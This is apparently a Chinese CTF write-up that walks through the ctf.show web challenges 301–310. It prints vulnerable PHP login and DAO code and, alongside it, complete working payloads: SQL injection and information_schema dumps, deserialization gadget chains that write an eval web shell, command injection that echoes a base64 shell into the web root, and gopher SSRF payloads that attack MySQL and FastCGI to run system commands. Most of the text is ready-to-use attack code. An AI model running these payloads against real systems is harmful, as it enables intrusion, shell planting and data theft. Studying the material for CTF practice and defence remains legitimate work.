web301 checklogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(0 ); session_start(); require  'conn.php' ;$_POST['userid' ]=!empty ($_POST['userid' ])?$_POST['userid' ]:"" ; $_POST['userpwd' ]=!empty ($_POST['userpwd' ])?$_POST['userpwd' ]:"" ; $username=$_POST['userid' ]; $userpwd=$_POST['userpwd' ]; $sql="select sds_password from sds_user where sds_username='" .$username."' order by id limit 1;" ; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows<1 ){	$_SESSION['error' ]="1" ; 	header("location:login.php" ); 	return ; } if (!strcasecmp($userpwd,$row['sds_password' ])){	$_SESSION['login' ]=1 ; 	$result->free(); 	$mysqli->close(); 	header("location:index.php" ); 	return ; } $_SESSION['error' ]="1" ; header("location:login.php" ); ?> 
在 checklogin.php 可以发现直接拼接字符串的 sql 注入,没有任何过滤。绕过后在 index.php 中版本号处找到 flag。userid=aaaa' union select 'aaaa' %23&userpwd=aaaa  
web302 这题和上题的代码链接是一样的。。。 直接给出修改了什么可还行,本来还想 diff 的。审了个寂寞。。。  
1 2 if (!strcasecmp(sds_decode($userpwd),$row['sds_password' ])){
这里 sds_decode 在 fun.php 里面
1 2 3 function  sds_decode ($str) 	return  md5(md5($str.md5(base64_encode("sds" )))."sds" ); } 
按这个构造下 payload  
1 2 var_dump(md5(md5("bbb" .md5(base64_encode("sds" )))."sds" )); 
POST /checklogin.php
flag 位置不变  
web303 checklogin.php 的 userid 增加了长度限制  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0 ); session_start(); require  'conn.php' ;require  'fun.php' ;$_POST['userid' ]=!empty ($_POST['userid' ])?$_POST['userid' ]:"" ; $_POST['userpwd' ]=!empty ($_POST['userpwd' ])?$_POST['userpwd' ]:"" ; $username=$_POST['userid' ]; if (strlen($username)>6 ){	die (); } $userpwd=$_POST['userpwd' ]; $sql="select sds_password from sds_user where sds_username='" .$username."' order by id limit 1;" ; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows<1 ){	$_SESSION['error' ]="1" ; 	header("location:login.php" ); 	return ; } if (!strcasecmp(sds_decode($userpwd),$row['sds_password' ])){	$_SESSION['login' ]=1 ; 	$result->free(); 	$mysqli->close(); 	header("location:index.php" ); 	return ; } $_SESSION['error' ]="1" ; header("location:login.php" ); ?> 
不过在 fun.php 和 sds_user.sql 中给出了弱密码提示 admin/admin  
1 2 3 4 5 6 7 <?php function  sds_decode ($str) 	return  md5(md5($str.md5(base64_encode("sds" )))."sds" ); } echo  sds_decode("admin" );?> 
sds_user.sql
1 2 3 4 5 6 7 8 9 SET  FOREIGN_KEY_CHECKS=0 ;DROP  TABLE  IF  EXISTS  `sds_user` ;CREATE  TABLE  `sds_user`  (  `id`  int (11 ) NOT  NULL  AUTO_INCREMENT,   `sds_username`  varchar (255 ) DEFAULT  NULL ,   `sds_password`  varchar (255 ) DEFAULT  NULL ,   PRIMARY KEY  (`id` ) ) ENGINE =InnoDB  AUTO_INCREMENT=2  DEFAULT  CHARSET =utf8; INSERT  INTO  `sds_user`  VALUES  ('1' , 'admin' , '27151b7b1ad51a38ea66b1529cde5ee4' );
使用 admin/admin 登录后,dptadd.php 中的 insert 语句为直接拼接,可以直接查。  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST  /dptadd.php  HTTP/1.1Host : 94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.showContent-Length : 154Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.show/dpt.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : __e_inc=1; PHPSESSID=3pa7egrnfbseqe3mvbcr3k1cp5Connection : closedpt_name=a&dpt_address=a&dpt_build_year=2022-06-16&dpt_has_cert=on&dpt_cert_number=a',sds_telephone=(payload);%23&dpt_telephone_number=a 
payloads:
1 2 3 4 select  group_concat (schema_name) from  information_schema.schemataselect  group_concat (table_name) from  information_schema.tables where  table_schema=database ()select  group_concat (column_name) from  information_schema.columns where  table_name='sds_fl9g' select  flag from  sds_fl9g
flag 在数据库里
web304 提示加了个全局 waf,没看懂  
1 2 3 function  sds_waf ($str) 	return  preg_match('/[0-9]|[a-z]|-/i' , $str); } 
没看出和上题有什么区别,也没给源码。。。一样的方式接着打  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST  /dptadd.php  HTTP/1.1Host : c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.showContent-Length : 155Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.show/dpt.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : __e_inc=1; PHPSESSID=rapobb3n0f461d9tjujqijivb5Connection : closedpt_name=a&dpt_address=a&dpt_build_year=2022-06-16&dpt_has_cert=on&dpt_cert_number=a',sds_telephone=(select flag from sds_flaag);%23&dpt_telephone_number=a 
web305 给源码喽!这次给 dptadd.php 加了个好长的 waf,应该是给注入封上了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0 ); session_start(); require  'conn.php' ;require  'fun.php' ;$_POST['userid' ]=!empty ($_POST['userid' ])?$_POST['userid' ]:"" ; $_POST['userpwd' ]=!empty ($_POST['userpwd' ])?$_POST['userpwd' ]:"" ; $username=$_POST['userid' ]; if (strlen($username)>6 ){	die (); } $userpwd=$_POST['userpwd' ]; $sql="select sds_password from sds_user where sds_username='" .$username."' order by id limit 1;" ; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows<1 ){	$_SESSION['error' ]="1" ; 	header("location:login.php" ); 	return ; } if (!strcasecmp(sds_decode($userpwd),$row['sds_password' ])){	$_SESSION['login' ]=1 ; 	$result->free(); 	$mysqli->close(); 	header("location:index.php" ); 	return ; } $_SESSION['error' ]="1" ; header("location:login.php" ); ?> 
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class  user 	public  $username; 	public  $password; 	public  function  __construct ($u,$p)  		$this ->username=$u; 		$this ->password=$p; 	} 	public  function  __destruct ()  		file_put_contents($this ->username, $this ->password); 	} } 
于是构造 cookie 写 shell,蚁剑查数据库拿 flag。  
1 2 3 4 5 6 7 8 9 10 <?php class  user 	public  $username; 	public  $password; } $a = new  user(); $a->username = "/var/www/html/sh.php" ; $a->password = "<?php eval(\$_POST[1]); ?>" ; echo  urlencode(serialize($a));
POST /checklogin.phpuser=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fsh.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D  
web306 这次去掉了 user 写文件的方法,增加了另外两个类,这里发现可以 dao 和 log 两个类配合反序列化写文件。$dao->_destruct()=>$log->close()=>file_put_contents()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class  user 	public  $username; 	public  $password; 	public  function  __construct ($u,$p)  		$this ->username=$u; 		$this ->password=$p; 	} } class  dpt 	public  $name; 	public  $address; 	public  $build_year; 	public  $have_cert="0" ; 	public  $cert_num; 	public  $phone; 	public  function  __construct ($n,$a,$b,$h,$c,$p)  		$this ->name=$n; 		$this ->address=$a; 		$this ->build_year=$b; 		$this ->have_cert=$h; 		$this ->cert_num=$c; 		$this ->phone=$p; 	} } class  log 	public  $title='log.txt' ; 	public  $info='' ; 	public  function  loginfo ($info)  		$this ->info=$this ->info.$info; 	} 	public  function  close ()  		file_put_contents($this ->title, $this ->info); 	} } 
dao.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php require  'config.php' ;require  'class.php' ;class  dao 	private  $config; 	private  $conn; 	public  function  __construct ()  		$this ->config=new  config(); 		$this ->init(); 	} 	private  function  init ()  		$this ->conn=new  mysqli($this ->config->get_mysql_host(),$this ->config->get_mysql_username(),$this ->config->get_mysql_password(),$this ->config->get_mysql_db()); 	} 	public  function  __destruct ()  		$this ->conn->close(); 	} 	public  function  get_user_password_by_username ($u)  		$sql="select sds_password from sds_user where sds_username='" .$u."' order by id limit 1;" ; 		$result=$this ->conn->query($sql); 		$row=$result->fetch_array(MYSQLI_BOTH); 		if ($result->num_rows>0 ){ 			return  $row['sds_password' ]; 		}else { 			return  '' ; 		} 	} } 
dao.php 引入了 class.php,所以只要找到引入了 dao.php 且有反序列化的点就好了,那就是 index.php:  
1 2 3 4 5 6 7 8 9 10 11 <?php session_start(); require  "conn.php" ;require  "dao.php" ;$user = unserialize(base64_decode($_COOKIE['user' ])); if (!$user){    header("location:login.php" ); } ?> <!doctype html> 
构造 cookie  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class  dao 	public  $conn; } class  log 	public  $title; 	public  $info; } $d1 = new  dao(); $l1 = new  log(); $l1->title = "/var/www/html/sh.php" ; $l1->info = "<?php @eval(\$_POST[1]); ?>" ; $d1->conn = $l1; echo  "user=" .urlencode(base64_encode(serialize($d1)));
蚁剑连接,flag 在 flag.php  
web307 上道题 log->close 方法被改了名用不了了。找了一条新链子可以执行命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start(); error_reporting(0 ); require  'service/service.php' ;unset ($_SESSION['login' ]);unset ($_SESSION['error' ]);setcookie('user' ,'' ,0 ,'/' ); $service = unserialize(base64_decode($_COOKIE['service' ])); var_dump($service); if ($service){	$service->clearCache(); } setcookie('PHPSESSID' ,'' ,0 ,'/' ); setcookie('service' ,'' ,0 ,'/' ); header("location:../login.php" ); ?> 
这里可以调用 dao->clearCache 实现命令执行。  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class  config 	public  $cache_dir = "cache/* && echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4g'|base64 -d > /var/www/html/sh.php #" ; } class  dao 	public  $config;     function  __construct ()       {        $this ->config= new  config();     } } $d1 = new  dao(); echo  urlencode(base64_encode(serialize($d1)));
蚁剑连接密码 1,flag 在 flag.php。  
web308 上题的方法加上了正则的限制,应该是封死了。index.php=>unserialize&&$dao->checkVersion()=>checkUpdate()=>curl_exec() SSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php session_start(); error_reporting(0 ); require  'controller/service/service.php' ;if (!isset ($_SESSION['login' ])){header("location:login.php" ); } $service = unserialize(base64_decode($_COOKIE['service' ])); if ($service){    $lastVersion=$service->checkVersion(); } ?> <!doctype html> 
这里 header("location:xxxx") 了但是没 return,burp 抓到还是有内容的,浏览器只能看到 302。https://github.com/tarunkant/Gopherus  构造 gopher 的 payload  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class  config 	public  $update_url = "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01" ; } class  dao 	public  $config;     function  __construct ()       {        $this ->config= new  config();     } } $d1 = new  dao(); echo  urlencode(base64_encode(serialize($d1)));
然后蚁剑连 shell 读 flag
web309 和上题一样打 gopher,不过提示 mysql 加了密码,还可以打 fastcgi。  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class  config 	public  $update_url = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH84%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00T%04%00%3C%3Fphp%20system%28%27tac%20/var/www/html/flaaaaaagg.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00" ; } class  dao 	public  $config;     function  __construct ()       {        $this ->config= new  config();     } } $d1 = new  dao(); echo  urlencode(base64_encode(serialize($d1)));
web310 前两个不通了,读 file:///etc/nginx/nginx.conf 可知 flag 路径。  
1 2 3 4 5 6 7 8 9 10 server {         listen       4476;         server_name  localhost;         root         /var/flag;         index index.html;         proxy_set_header Host $host;         proxy_set_header X-Real-IP $remote_addr;         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;     } 
构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class  config 	public  $update_url = "http://localhost:4476/" ; } class  dao 	public  $config;     function  __construct ()       {        $this ->config= new  config();     } } $d1 = new  dao(); echo  urlencode(base64_encode(serialize($d1)));
代码审计部分到此结束。